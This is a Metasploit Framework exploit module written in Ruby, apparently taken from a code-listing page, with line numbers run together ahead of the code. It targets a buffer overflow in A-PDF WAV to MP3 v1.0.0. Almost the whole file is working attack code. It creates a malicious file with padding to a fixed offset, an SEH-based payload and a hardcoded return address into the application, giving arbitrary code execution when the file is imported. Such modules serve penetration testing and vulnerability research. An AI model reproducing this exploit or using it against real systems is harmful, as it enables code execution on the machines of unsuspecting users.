1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 |
## # $Id: a-pdf_wav_to_mp3.rb 10998 2010-11-11 22:43:22Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'A-PDF WAV to MP3 v1.0.0 Buffer Overflow', 'Description'=> %q{ This module exploits a buffer overflow in A-PDF WAV to MP3 v1.0.0. When the application is used to import a specially crafted m3u file, a buffer overflow occurs allowing arbitrary code execution. }, 'License'=> MSF_LICENSE, 'Author' => [ 'd4rk-h4ck3r', # Original Exploit 'Dr_IDE',# SEH Exploit 'dookie' # MSF Module ], 'Version'=> '$Revision: 10998 $', 'References' => [ [ 'OSVDB', '67241' ], [ 'URL', 'http://www.exploit-db.com/exploits/14676/' ], [ 'URL', 'http://www.exploit-db.com/exploits/14681/' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'seh', 'DisablePayloadHandler' => 'true', }, 'Payload'=> { 'Space'=> 600, 'BadChars' => "\x00\x0a", 'StackAdjustment' => -3500 }, 'Platform' => 'win', 'Targets'=> [ [ 'Windows Universal', { 'Ret' => 0x0047265c, 'Offset' => 4132 } ], # p/p/r in wavtomp3.exe ], 'Privileged' => false, 'DisclosureDate' => 'Aug 17 2010', 'DefaultTarget'=> 0)) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.wav']), ], self.class) end def exploit sploit = rand_text_alpha_upper(target['Offset']) sploit << generate_seh_payload(target.ret) print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(sploit) end end |